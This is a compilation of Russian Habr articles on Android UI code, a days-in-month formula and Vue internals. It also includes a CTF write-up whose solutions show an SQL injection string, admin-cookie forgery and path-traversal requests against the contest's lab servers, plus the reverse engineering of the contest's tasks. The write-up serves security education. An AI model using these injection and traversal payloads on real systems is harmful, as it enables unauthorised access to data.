public void onNext(List items) {
recyclerViewAdapter.addNewItems(items);
recyclerViewAdapter.notifyItemInserted(recyclerViewAdapter.getItemCount() - items.size());
}
});
}
@Override
public void onDestroyView() {
if (pagingSubscription != null && !pagingSubscription.isUnsubscribed()) {
pagingSubscription.unsubscribe();
}
super.onDestroyView();
}
}
```
**PagingRecyclerViewAdapter**
```
/**
* @author e.matsyuk
*/
public class PagingRecyclerViewAdapter extends RecyclerView.Adapter {
private static final int MAIN\_VIEW = 0;
private List listElements = new ArrayList<>();
// after reorientation test this member
// or one extra request will be sent after each reorientation
private boolean allItemsLoaded;
static class MainViewHolder extends RecyclerView.ViewHolder {
TextView textView;
public MainViewHolder(View itemView) {
super(itemView);
textView = (TextView) itemView.findViewById(R.id.text);
}
}
public void addNewItems(List items) {
if (items.size() == 0) {
allItemsLoaded = true;
return;
}
listElements.addAll(items);
}
public boolean isAllItemsLoaded() {
return allItemsLoaded;
}
@Override
public long getItemId(int position) {
return getItem(position).getId();
}
public Item getItem(int position) {
return listElements.get(position);
}
@Override
public int getItemCount() {
return listElements.size();
}
@Override
public RecyclerView.ViewHolder onCreateViewHolder(ViewGroup parent, int viewType) {
if (viewType == MAIN\_VIEW) {
View v = LayoutInflater.from(parent.getContext()).inflate(R.layout.recycler\_item, parent, false);
return new MainViewHolder(v);
}
return null;
}
@Override
public int getItemViewType(int position) {
return MAIN\_VIEW;
}
@Override
public void onBindViewHolder(RecyclerView.ViewHolder holder, int position) {
switch (getItemViewType(position)) {
case MAIN\_VIEW:
onBindTextHolder(holder, position);
break;
}
}
private void onBindTextHolder(RecyclerView.ViewHolder holder, int position) {
MainViewHolder mainHolder = (MainViewHolder) holder;
mainHolder.textView.setText(getItem(position).getItemStr());
}
}
```
Также данный пример и пример из предыдущей статьи доступны на [GitHub](https://github.com/matzuk/PaginationSample).
Спасибо за внимание! Буду рад замечаниям, предложениям и, конечно же, благодарностям. | https://habr.com/ru/post/271875/ | null | ru | null |
# Диалоговое окно Android с «иконифицированным» меню
Некоторое время назад меня увлекла идея разработки приложений под платформу Android. Дабы не заниматься изучением платформы на простых hello-world программках решил сделать что-то такое, что позволило бы освоиться с UI частью фреймворка, работой с БД, сетью и социальными сервисами.
Идея была придумана до одурения простая и я бы даже сказал, тупая. И вот когда я начал что-то делать то тут резко захотелось мне сделать красивое диалоговое окно с выбором пункта меню с иконками. Такой диалог присутствует в стандартном Андроиде, например, долгий тап на рабочем столе открывает диалог выбора добавляемого контента (виджет, обоины и т.д.). Итак, добро пожаловать под кат…
Как было упомянуто выше передо мной стояла задача сделать диалоговое окно типа такого:
Погуглив некоторое время и почитав официальные доки по платформе я так и не нашел, как реализовать подобный диалог. После некоторого времени копания я нашел результат, который быстрее всего будет очевидным для опытных Андроид-разработчиков.
Ответ оказался прост и лежал он на поверхности. Суть его состоит в том, что для диалогового билдера нужно просто подставить соответствующий провайдер данных (есстественно, провайдер нужно самим написать).
Итак, сейчас будет некоторое количество кода с комментариями о том, что происходит.
#### Список (провайдер) возможных типов аккаунтов
> `1. public final class AccountTypesProvider {
> 2. public static List accountTypes = Collections.unmodifiableList(Arrays.asList(
> 3. new AccountType(AccountType.TWITTER\_ACCOUNT, "Twitter", R.drawable.twitter\_icon\_big),
> 4. new AccountType(AccountType.FACEBOOK\_ACCOUNT, "Facebook", R.drawable.facebook\_icon\_big),
> 5. new AccountType(AccountType.BUZZ\_ACCOUNT, "Google Buzz", R.drawable.buzz\_icon\_big),
> 6. new AccountType(AccountType.LINKEDIN\_ACCOUNT, "LinkedIn", R.drawable.linkedin\_icon\_big),
> 7. new AccountType(AccountType.VKONTAKTE\_ACOUNT, "ВКонтакте", R.drawable.vkontakte\_icon\_big)
> 8. ));
> 9. }
> \* This source code was highlighted with Source Code Highlighter.`
Это простая обертка вокруг списка возможных типов аккаунтов. Тип аккаунта здесь простой POJO класс, который состоит из идентификатора (константа), названия сервиса и идентификатора ресурса иконки для данного типа сервиса.
#### ListAdapter для отображения списка типов аккаунтов в заданном layout'е
> `1. public final class AccountsTypesListAdapter extends ArrayAdapter {
> 2. private Activity context;
> 3. private List accountTypes;
> 4.
> 5. public AccountsTypesListAdapter(Activity context, List accountTypes) {
> 6. super(context, R.layout.select\_account\_item, accountTypes);
> 7.
> 8. this.context = context;
> 9. this.accountTypes = accountTypes;
> 10. }
> 11.
> 12. @Override
> 13. public View getView(int position, View convertView, ViewGroup parent) {
> 14. LayoutInflater inflater = context.getLayoutInflater();
> 15. View row = inflater.inflate(R.layout.select\_account\_item, parent, false);
> 16.
> 17. TextView label = (TextView) row.findViewById(R.id.text\_item);
> 18. label.setText(accountTypes.get(position).title);
> 19.
> 20. ImageView icon = (ImageView) row.findViewById(R.id.icon\_item);
> 21. icon.setImageResource(accountTypes.get(position).bigIconId);
> 22.
> 23. return row;
> 24. }
> 25. }
> \* This source code was highlighted with Source Code Highlighter.`
Для начала нужно передать в конструктор список типов, с которым будет работать адаптер списка. Привязка конкретного item'а к лэйауту происходит в переопределенном методе getView(). В нем загружается лэйаут из указанного ресурса, извлекаются виджеты и в них записываются данные об конкретном элементе списка. Кстати, индекс этого элемента автоматически доступен через параметр position.
#### Данный лист-адаптер работает с таким вот лэйаутом
> `1. </fontxml version="1.0" encoding="utf-8"?>
> 2. <LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
> 3. android:orientation="horizontal" android:layout\_width="fill\_parent"
> 4. android:layout\_height="fill\_parent" android:padding="10px">
> 5.
> 6. <ImageView android:id="@+id/icon\_item" android:layout\_width="wrap\_content"
> 7. android:layout\_height="fill\_parent"/>
> 8. <TextView android:id="@+id/text\_item" android:layout\_width="wrap\_content"
> 9. android:layout\_height="fill\_parent" android:paddingLeft="10px"
> 10. android:paddingTop="5px" android:textStyle="bold"
> 11. android:textColor="#000000"/>
> 12. LinearLayout>
> \* This source code was highlighted with Source Code Highlighter.`
Все, что теперь осталось — это привязать разработанный лист-адаптер к конкретному диалоговому окну
> `1. public static void showSelectAccountTypeDialog(Activity context, String title, OnClickListener dialogListener) {
> 2. AlertDialog.Builder builder = new AlertDialog.Builder(context);
> 3. builder.setTitle(title);
> 4. builder.setAdapter(new AccountsTypesListAdapter(context, AccountTypesProvider.accountTypes), dialogListener);
> 5. builder.create().show();
> 6. }
> \* This source code was highlighted with Source Code Highlighter.`
и вызвать в нужном месте activity диалог
> `1. private void displaySelectAccountTypeDialog() {
> 2. ApplicationDialogs.showSelectAccountTypeDialog(this, "Select network", new OnClickListener() {
> 3. @Override
> 4. public void onClick(DialogInterface dialogInterface, int selectedItemId) {
> 5. setupAccount(selectedItemId);
> 6. }
> 7. });
> 8. }
> \* This source code was highlighted with Source Code Highlighter.`
Диалог после своего завершения вернет индекс выбранного item'а параметром selectedItemId в листенер, который указан при вызове диалога. В данном простом случае этот индекс будет совпадать с ID типа аккаунта (item'а в списке), поэтому никаких дополнительных преобразований или извлечений не требуется. Для моей задачи этого индекса более чем достаточно.
В итоге у меня получился такой вот симпатичный диалог
Может я в данном топике просто описал прописные истины, может нет. Решать, как говорится, Вам, Хабраюзеры…
Спасибо и удачи всем в увлекательном процессе разработки под Android-платформу ;) | https://habr.com/ru/post/103347/ | null | ru | null |
# Разбор задач по CTF
*В начале декабря мы провели [командные соревнования](https://habr.com/ru/news/t/476892/) по информационной безопасности. Помимо [OTUS](https://otus.pw/q7Ro/), организаторами мероприятия для «белых хакеров» выступили [Volga CTF](https://volgactf.ru/) и [CTF.Moscow](https://ctf.moscow/). Пожалуй, пришла пора подвести итоги и подробно рассказать о заданиях.*
**Во-первых, мероприятие удалось:**
* были подготовлены 9 заданий по трём направлениям: «Пентест», «Реверс-инжиниринг», «Безопасность Linux и безопасная разработка»;
* приняли участие 217 команд;
* было зарегистрировано более 800 попыток сдать флажки;
* было зарегистрировано более 300 сданных флагов.
**Во-вторых**, задания были разными по сложности, поэтому решение оказалось не всем под силу:
**В-третьих**, сразу после завершения онлайн-марафона мы провели **три вебинара**, где рассказали про победителей, дали правильные ответы и объявили окончательные результаты:
— итоги CTF: «Безопасность Linux и безопасная разработка»;
— итоги CTF: «Пентест»;
— итоги CTF: «Реверс-инжиниринг».
**В-четвертых**, предлагаем вашему вниманию **условия задач и текстовые описания их решения**. Обращаем ваше внимание, что к некоторым задачам прилагались файлы.
### Направление 1: «Пентест»
**Задание 1 — Databases**
*100
Сайт активно использует базы данных. Попробуй провести SQL-инъекции.
Ссылка на сайт: `http://193.41.142.9:8001/shop/login`*
**Решение:**
Идем в основной раздел магазина /shop/products/, потыкав в поле поиска, обнаруживаем sql-инъекцию.
Вводим 1" OR «1» = «1» — , листаем вниз и видим отсутствовавший ранее товар, флаг находится в его описании.
***Flag: flag{5ql\_1nject10n\_15\_t00\_51mpl3\_f0r\_y0u}***
**Задание 2 — Cookies**
*150
Мой знакомый разработал платформу онлайн-магазина. Он попросил провести blackbox-тестирование. Проверь безопасность cookie, возможно, ты сможешь получить права администратора.
Ссылка на сайт: `http://193.41.142.9:8001/shop/login`*
**Решение:**
Логинимся, смотрим куки и видим куки secret:
«MTExMTAxMSAxMDAwMTAgMTExMDEwMSAxMTEwMDExIDExMDAxMDEgMTExMDAxMCAxMTAxMTEwIDExMDAwMDEgMTEwMTEwMSAxMTAwMTAxIDEwMDAxMCAxMTEwMTAgMTAwMDEwIDExMTAxMDEgMTExMDAxMSAxMTAwMTAxIDExMTAwMTAgMTAwMDEwIDEwMTEwMCAxMDAwMDAgMTAwMDEwIDExMDEwMDEgMTExMDAxMSAxMDExMTExIDExMDAwMDEgMTEwMDEwMCAxMTAxMTAxIDExMDEwMDEgMTEwMTExMCAxMDAwMTAgMTExMDEwIDEwMDAxMCAxMDAwMTEwIDExMDAwMDEgMTEwMTEwMCAxMTEwMDExIDExMDAxMDEgMTAwMDEwIDExMTExMDE=»
Декодим base64, получаем бинарные данные: 1111011 100010 1110101 1110011 1100101 1110010 1101110 1100001 1101101 1100101 100010 111010 100010 1110101 1110011 1100101 1110010 100010 101100 100000 100010 1101001 1110011 1011111 1100001 1100100 1101101 1101001 1101110 100010 111010 100010 1000110 1100001 1101100 1110011 1100101 100010 1111101
Переводим в текст и получаем: `{"username":"user", "is_admin":"False"}`, меняем False на True и декодим обратно:
01111011 00100010 01110101 01110011 01100101 01110010 01101110 01100001 01101101 01100101 00100010 00111010 00100010 01110101 01110011 01100101 01110010 00100010 00101100 00100000 00100010 01101001 01110011 01011111 01100001 01100100 01101101 01101001 01101110 00100010 00111010 00100010 01010100 01110010 01110101 01100101 00100010 01111101
«MDExMTEwMTEgMDAxMDAwMTAgMDExMTAxMDEgMDExMTAwMTEgMDExMDAxMDEgMDExMTAwMTAgMDExMDExMTAgMDExMDAwMDEgMDExMDExMDEgMDExMDAxMDEgMDAxMDAwMTAgMDAxMTEwMTAgMDAxMDAwMTAgMDExMTAxMDEgMDExMTAwMTEgMDExMDAxMDEgMDExMTAwMTAgMDAxMDAwMTAgMDAxMDExMDAgMDAxMDAwMDAgMDAxMDAwMTAgMDExMDEwMDEgMDExMTAwMTEgMDEwMTExMTEgMDExMDAwMDEgMDExMDAxMDAgMDExMDExMDEgMDExMDEwMDEgMDExMDExMTAgMDAxMDAwMTAgMDAxMTEwMTAgMDAxMDAwMTAgMDEwMTAxMDAgMDExMTAwMTAgMDExMTAxMDEgMDExMDAxMDEgMDAxMDAwMTAgMDExMTExMDE=»
Меняем значение куки на новое и заходим в профиль пользователя.
***Flag: flag{d0\_y0u\_l1k3\_c00k13s}***
**Задание 3 — File reading**
*200
Зачастую мы сталкиваемся с утекающими исходниками и странной логикой работы. Возможные вектора атак обычно находятся фаззингом. Предлагаю тебе этим заняться.
Ссылка на сайт: `http://193.41.142.9:8001/shop/login`*
**Решение:**
Запускаем dirb (достаточно обычного common.txt), находим страницы `/shop/_source/` и `/shop/files/`.
Ознакомившись с исходником `_source` понимаем, что перед нами уязвимость Path Traversal + несколько простых фильтров.
Для получения флага необходимо сделать POST запрос на `/shop/files/` с параметром «file», значение которого должно быть `%2E%2E/%2E%2E/flag`.
В ответе на запрос будет флаг.
***Flag: flag{y0u\_g0t\_0ur\_s3cr3t}***
### Направление 2: «Безопасность Linux и безопасная разработка»
**Задание 1 — VCS**
50
*А не дал ли нам заказчик чего лишнего?
В архиве содержится исходный код части сайта.
Ссылка на сайт: `http://193.41.142.9:8002/`
Вложение: task.7z*
**Решение:**
У нас есть доступ к исходному коду. Как оказалось, разработчики положили еще и git-репозиторий. Смотрим git log, видим коммит с фиксами. Используем git show <хеш-коммита>, видим измененные файлы и их содержимое, в одной из строк хранится флаг.
***flag{22717297f6a3603608d260c9e5f69e0a}***
**Задание 2 — Algo**
*50
У нас новая задача. Провести проверку safe development. Заказчик предоставил архив с открытой частью разрабатываемого сайта. Для проверки своего алгоритма хеширования он предоставил хеш: 666c61677b32646733326473323334327d. Проверь алгоритм на возможность обратного преобразования.
В архиве содержится исходный код части сайта.
Ссылка на сайт: `http://193.41.142.9:8002/`
Вложение: task.7z*
**Решение:**
В исходных кодах есть алгоритм хеширования паролей. На самом деле, это не алгоритм хеширования, а просто преобразование данных из строкового формата в шестнадцатеричный.
Используем Python:
```
import binascii binascii.unhexlify("666c61677b32646733326473323334327d")
```
Получаем флаг: ***flag{2dg32ds2342}***
**Задание 3 — Files files files**
*150
Давай доводить аудит до конца. Ты тоже видишь эту уязвимость? Отлично. Значит, достать секретный файл тебе несложно.
В архиве содержится исходный код части сайта.
Ссылка на сайт: `http://193.41.142.9:8002/`
Вложение: task.7z*
**Решение:**
В исходном коде основного модуля программы можно заметить читалку файлов (это основное применение данного сервиса). Функция проверки существования файла никак не проверяет специальные символы и просто конкатенирует две строки => уязвимость path-traversal.
Также в Dockerfile, docker-compose.yml можно увидеть отображения файлов и структуру загрузки в контейнер. Используя эти знания, генерируем полезную нагрузку:
```
http://193.41.142.9:8002/files?password=qgzc6!78zxcbkj123fdgd234&filename=../../../../../../src/secret_files/flag.txt
```
***flag{a0a7c3fff21f2aea3cfa1d0316dd816c}***
### Направление 3: «Реверс-инжиниринг»
**Задание 1 — Snake**
*100
Наша компания всегда пытается обойти любую защиту программ. Помоги нам разобраться с Питоном в этот раз.
Прилагается файл: task.pyc*
**Решение:**
Используем байт-код Python, декомпилирующийся модулем uncompyle6:
uncompyle6 task.pyc.
Декомпилируем, получаем флаг:
***flag{w3l1\_pyth0n}***
**Задание 2 — Robot**
*150
В этот раз нам попалось странное приложение, помоги найти пароль для входа.
Вложение: app.apk*
**Решение:**
Приложение на андроиде, поэтому достаточно загрузить его в статический анализатор типа BytecodeViewer и посмотреть восстановленный исходный код программы. Заметим, что это Kotiln, а в нем часто используется функциональное программирование, как и в этом случае. В одной из декомпилированных анонимных функций найдем проверку флага, сама проверка:
```
(String)paramFunction1.invoke(Boolean.valueOf(Arrays.equals(paramString, h)));
Функция invoke:
((StringBuilder)localObject).append("flag{");
((StringBuilder)localObject).append(this.$m);
((StringBuilder)localObject).append('}');
```
переменная h:{ 102, 97, 50, 98, 102, 54, 52, 54, 101, 52, 57, 97, 98, 53, 101, 53, 54, 102, 50, 98, 55, 52, 52, 56, 48, 98, 97, 54, 49, 48, 49, 55 };
Видим что это похоже на закодированные печатные символы. Используем Python:
''.join(chr(x) for x in [ 102, 97, 50, 98, 102, 54, 52, 54, 101, 52, 57, 97, 98, 53, 101, 53, 54, 102, 50, 98, 55, 52, 52, 56, 48, 98, 97, 54, 49, 48, 49, 55 ])
Получаем флаг:
***flag{fa2bf646e49ab5e56f2b74480ba61017}***
**Задание 3 — Bin**
*200
В этот раз нам попался бинарный файл. Задача все та же, достать секретный пароль.
Вложение: task*
**Решение:**
Дан бинарный файл. Загружаем в дизассемблер и видим шесть функций проверки, написанных на С++.
Они выполнены идентично и вызываются друг в друге, проверяя флаг по кусочкам из 5 элементов.
Поэтапно восстанавливаем с помощью информации из дизассемблера. Получаем флаг частями:
0) проверка длины
1) flag{
2) feefa
3) \_172a
4) k14sc
5) \_eee}
Объединяем и получаем флаг:
***flag{feefa\_172ak14sc\_eee}***
Вот и всё, коллеги! Всем спасибо за участие, берегите себя, своих близких и свои данные! С наступающим Новым годом! | https://habr.com/ru/post/482538/ | null | ru | null |
# Формула подсчёта количества дней в месяце
***Примечание**: данный пост является переводом статьи [cmcenroe.me/2014/12/05/days-in-month-formula.html](https://cmcenroe.me/2014/12/05/days-in-month-formula.html) (**Часть I**), а также авторским к нему дополнением (**Часть II**). Не следует относиться к материалу серьёзно, а скорее как к разминке для ума, требующей не более чем школьных знаний арифметики и не имеющей практического применения. Всем приятного чтения!*
Часть I
=======
Вступление
----------
Недавно, после очередной бессонной ночи, я размышлял о методах запоминания количества дней в каждом месяце года. Для этого есть считалочка, а также способ считать на костяшках пальцев, но ни то, ни другое меня не устроило. Я задумался, а не существует ли какой-нибудь математической формулы для решения такой задачи, и — не обнаружив при беглом изучении таковую — бросил себе вызов её создать.
~~Формализуя~~Другими словами, необходимо найти функцию *f*, такую, что значение *f(x)* для каждого месяца *x*, представленного числом от 1 до 12, равняется количеству дней в этом месяце. Таблица значений аргумента и функции[1](#Footnote1):
| | | | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| *x* | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
| *f(x)* | 31 | 28 | 31 | 30 | 31 | 30 | 31 | 31 | 30 | 31 | 30 | 31 |
Если у вас возникло желание попробовать самому до прочтения моего решения, то сейчас самое время. Если же вы предпочитаете немедленно увидеть готовый ответ, то посмотрите под спойлер.
**Ответ**
Ниже следуют мои шаги по нахождению решения.
Математический аппарат
----------------------
Сначала бегло освежим в памяти два жизненно необходимых в решении этой задачи оператора: целочисленное деление и остаток от деления.
**Целочисленное деление** это оператор, применяемый во многих языках программирования при делении двух целых чисел и отбрасывающий от частного дробную часть. Я буду изображать его как . Например:
**Остаток от деления** это оператор, находящий остаток от деления. Во многих языках программирования применяется символ **%**, я же буду использовать конструкции вида , например:
Замечу, что остаток от деления имеет равный с делением приоритет.
Основы
------
Итак, применим наш математический аппарат для получения базовой формулы.[2](#Footnote2) В обычном месяце 30 или 31 день, так что мы можем использовать  для получения поочерёдно 1 или 0, а затем просто прибавить к этому числу константу:
Получаем таблицу, полужирным выделены корректные значения:
| | | | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| *x* | **1** | 2 | **3** | **4** | **5** | **6** | **7** | 8 | 9 | 10 | 11 | 12 |
| *f(x)* | **31** | 30 | **31** | **30** | **31** | **30** | **31** | 30 | 31 | 30 | 31 | 30 |
Неплохое начало! Уже есть правильные значения для января и для месяцев с марта по июль включительно. Февраль — особый случай, и с ним мы разберёмся чуть позже. После июля для оставшихся месяцев порядок получения 0 и 1 должен быть изменён на обратный.
Для этого мы может прибавить к делимому 1:
| | | | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| *x* | 1 | 2 | 3 | 4 | 5 | 6 | 7 | **8** | **9** | **10** | **11** | **12** |
| *f(x)* | 30 | 31 | 30 | 31 | 30 | 31 | 30 | **31** | **30** | **31** | **30** | **31** |
Теперь правильные значения с августа по декабрь, но, как и предполагалось, значения для прочих месяцев неверны. Давайте посмотрим как мы можем объединить эти формулы.
Наложение маски
---------------
Для этого необходима кусочно-заданная функция, но — так как мне это показалось скучным — я задумался о другом пути решения, использующем одну часть функции на одном интервале, другую — на другом.
Полагаю, что проще всего будет найти выражение, равное 1 в одной области применения и 0 — в остальной. Метод, в котором умножая аргумент на выражение мы исключаем его из формулы вне области его применения, я назвал «наложением маски», потому такое поведение подобно некой битовой маске.
Для применения этого метода в последней части нашей функции необходимо найти выражение, равное 1 при , и — так как значения аргумента всегда меньше 16 — для этого прекрасно подходит целочисленное деление на 8.
| | | | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| *x* | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
| ⌊*x*⁄8⌋ | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 |
Теперь с помощью этой маски, используя в делимом  выражение  вместо 1, мы можем заменить порядок получения 0 и 1 формуле на обратный:
| | | | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| *x* | **1** | 2 | **3** | **4** | **5** | **6** | **7** | **8** | **9** | **10** | **11** | **12** |
| *f(x)* | **31** | 30 | **31** | **30** | **31** | **30** | **31** | **31** | **30** | **31** | **30** | **31** |
Эврика! Всё правильно, кроме февраля. Сюрприз-сюрприз.
Февраль
-------
В любом месяце 30 или 31 день, кроме февраля с его 28 (високосный год выходит за рамки этой задачи).[3](#Footnote3) На текущий момент по нашей формуле в нём 30 дней, поэтому неплохо бы вычесть выражение, равное 2 при .
Лучшее что мне удалось придумать это , что накладывает маску на все месяцы после февраля:
| | | | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| *x* | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 |
| 2 mod *x* | 0 | 0 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 | 2 |
Изменив базовую константу на 28 с добавлением 2 к остальным месяцам получим формулу:
| | | | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| *x* | 1 | **2** | **3** | **4** | **5** | **6** | **7** | **8** | **9** | **10** | **11** | **12** |
| *f(x)* | 29 | **28** | **31** | **30** | **31** | **30** | **31** | **31** | **30** | **31** | **30** | **31** |
К сожалению, январь теперь короче на 2 дня. Но, к счастью, получить выражение, которое будет применяться только для первого месяца очень легко: это округлённое вниз обратное к  число. Умножив его на 2 получаем окончательную формулу:
| | | | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| *x* | **1** | **2** | **3** | **4** | **5** | **6** | **7** | **8** | **9** | **10** | **11** | **12** |
| *f(x)* | **31** | **28** | **31** | **30** | **31** | **30** | **31** | **31** | **30** | **31** | **30** | **31** |
Послесловие
-----------
Вот она — формула для получения количества дней в любом месяце года, использующая простейшую арифметику. В следующий раз когда вы будете вспоминать сколько же дней в сентябре, просто выполните  с помощью этой однострочной функции на JavaScript:
```
function f(x) { return 28 + (x + Math.floor(x/8)) % 2 + 2 % x + 2 * Math.floor(1/x); }
```
Часть II
========
Вступление
----------
В первой части была получена короткая и даже немного изящная формула, основными достоинствами которой являются простота математического аппарата, отсутствие ветвлений и условных выражений, лаконичность. К недостаткам — кроме того, что вы не будете применять её в вашем проекте — можно отнести отсутствие проверки на вискокосный и не високосный год.
Поэтому я поставил перед собой задачу создать функцию *f*, такую, что значение *f(x, y)* для каждого месяца *x*, представленного числом от 1 до 12 и года *y*, большего 0, равняется количеству дней в месяце *x* в году *y*.
Для нетерпеливых под спойлером находится готовый ответ, остальных же прошу следовать за мной.
**Ответ**
Остаток от деления: *mod* и ⌊⌋
------------------------------
Для визуальной наглядности договоримся, что в некоторых формулах оператор деления с остатком заменён нижними скобками, там где это показалось мне необходимым:
Високосный год
--------------
В високосный год вводится дополнительный день календаря: 29 февраля. Как известно, високосным является год, кратный 4 и не кратный 100, либо кратный 400. Запишем тождественное этому высказыванию выражение:
Для приведения этого выражения в алгебраическое, необходимо применить к результату выражения  инъекцию вида:
Что позволит получить 1 при делении без остатка и 0 при делении с остатком, чтобы использовать её в формуле определения количества дней в месяце.
В качестве функции *g'* можно использовать 1 минус остаток от деления  для :
| | | | | | | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| *x* | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
| *g'(x)* | Infinity | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
Легко заметить, что увеличив делимое и делитель на 1 мы получим правильную формулу  при :
| | | | | | | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| *x* | 0 | 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 |
| *g'(x)* | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
Таким образом выражение  запишем как:
А выражение  запишем как:
Применяя этот подход получим следующую функцию *g(y)*, значением которой будет 1, если год високосный, или 0 в обратном случае:
| | | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| *y* | 1990 | 1991 | **1992** | 1993 | 1994 | 1995 | **1996** | 1997 | 1998 | 1999 | **2000** |
| *g(y)* | 0 | 0 | **1** | 0 | 0 | 0 | **1** | 0 | 0 | 0 | **1** |
| *y* | **2000** | 2100 | 2200 | 2300 | **2400** | 2500 | 2600 | 2700 | **2800** | 2900 | 3000 |
| *g(y)* | **1** | 0 | 0 | 0 | **1** | 0 | 0 | 0 | **1** | 0 | 0 |
Полужирным выделены високосные года.
Напоминаю, что в рамках принятой договорённости оператор получения остатка от деления может быть изображен как *mod*, так и ⌊⌋.
Наложение маски
---------------
В формуле  часть  является поправкой, прибавляющей 2 дня к январю. Если убрать множитель 2 и в числителе заменить 1 на 2, тогда эта формула будет прибавлять 2 дня к январю и 1 день к февралю, что даёт нам ключ к добавлению дня в високосном году. Для наглядности используем в формуле промежуточное значение *g(y)* и в качестве *y* используем 2000 (високосный) и 2001 (не високосный) годы:
| | | | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| *x* | 1 | **2** | **3** | **4** | **5** | **6** | **7** | **8** | **9** | **10** | **11** | **12** |
| *f(x, 2000)* | **31** | **29** | **31** | **30** | **31** | **30** | **31** | **31** | **30** | **31** | **30** | **31** |
| *f(x, 2001)* | 30 | **28** | **31** | **30** | **31** | **30** | **31** | **31** | **30** | **31** | **30** | **30** |
Значения для всех месяцев, кроме января не високосного года верны.
Для исправления этого досадного недоразумения добавим к январю 1 день уже известной нам формулой :
| | | | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| *x* | 1 | **2** | **3** | **4** | **5** | **6** | **7** | **8** | **9** | **10** | **11** | **12** |
| *f(x, 2000)* | 32 | **29** | **31** | **30** | **31** | **30** | **31** | **31** | **30** | **31** | **30** | **31** |
| *f(x, 2001)* | **31** | **28** | **31** | **30** | **31** | **30** | **31** | **31** | **30** | **31** | **30** | **30** |
Теперь необходимо вычесть 1 день из января в случае високосного года, для чего нам поможет знание того, что для любого *x* , а .
Тогда формула примет вид:
Или:
| | | | | | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- | --- |
| *x* | **1** | **2** | **3** | **4** | **5** | **6** | **7** | **8** | **9** | **10** | **11** | **12** |
| *f(x, 2000)* | **31** | **29** | **31** | **30** | **31** | **30** | **31** | **31** | **30** | **31** | **30** | **31** |
| *f(x, 2001)* | **31** | **28** | **31** | **30** | **31** | **30** | **31** | **31** | **30** | **31** | **30** | **30** |
Заключение
----------
В результате получена уже значительно более громоздкая, но более универсальная формула, которую также можно использовать для получения количества дней в месяце определённого года:
```
function f(x, y) { return 28 + ((x + Math.floor(x / 8)) % 2) + 2 % x + Math.floor((1 + (1 - (y % 4 + 2) % (y % 4 + 1)) * ((y % 100 + 2) % (y % 100 + 1)) + (1 - (y % 400 + 2) % (y % 400 + 1))) / x) + Math.floor(1/x) - Math.floor(((1 - (y % 4 + 2) % (y % 4 + 1)) * ((y % 100 + 2) % (y % 100 + 1)) + (1 - (y % 400 + 2) % (y % 400 + 1)))/x); }
```
Пример на C# [ideone.com/fANutz](http://ideone.com/fANutz).
---
**1**. Я не умею пользоваться подобной мнемоникой, поэтому подсмотрел табличку в интернете.
**2**. «Основы», или «Правило С Многими Исключениями», как и большинство правил.
**3**. Изначально в римском календаре февраль был последним месяцем года, поэтому есть логика в том, что он короче всех остальных. Также есть логика в добавлении или удалении дня именно в конце года, поэтому его длина является переменной.
**Upd. 1:**
Альтернативный перевод первой части в [сообществе вконтакте](https://vk.com/page-30666517_49613056).
**Upd. 2:** Благодаря комментарию [keksmen](http://habrahabr.ru/users/keksmen/) исправлена ошибка в формуле определения високосного года (*g(y)*) и исправлена итоговая формула. | https://habr.com/ru/post/261773/ | null | ru | null |
# 5 интересных JavaScript-находок, сделанных в исходном коде Vue
Чтение исходного кода известных фреймворков может хорошо помочь программисту в улучшении его профессиональных навыков. Автор статьи, перевод которой мы сегодня публикуем, недавно анализировал код vue2.x. Он нашёл в этом коде некоторые интересные JavaScript-идеи, которыми решил поделиться со всеми желающими.
[](https://habr.com/ru/company/ruvds/blog/503634/)
1. Определение точного типа любого объекта
------------------------------------------
Как все мы знаем, в JavaScript существует шесть примитивных типов данных (`Boolean`, `Number`, `String`, `Null`, `Undefined`, `Symbol`) и один объектный тип — `Object`. А вам известно о том, как различать типы различных объектных значений? Объект может быть массивом или функцией, он может представлять собой коллекцию значений `Map` или что-то ещё. Что нужно сделать для того чтобы узнать точный тип объекта?
Прежде чем искать ответ на этот вопрос — подумаем о разнице между `Object.prototype.toString.call(arg)` и `String(arg)`.
Использование этих выражений направлено на преобразование переданного им параметра в строку. Но работают они по-разному.
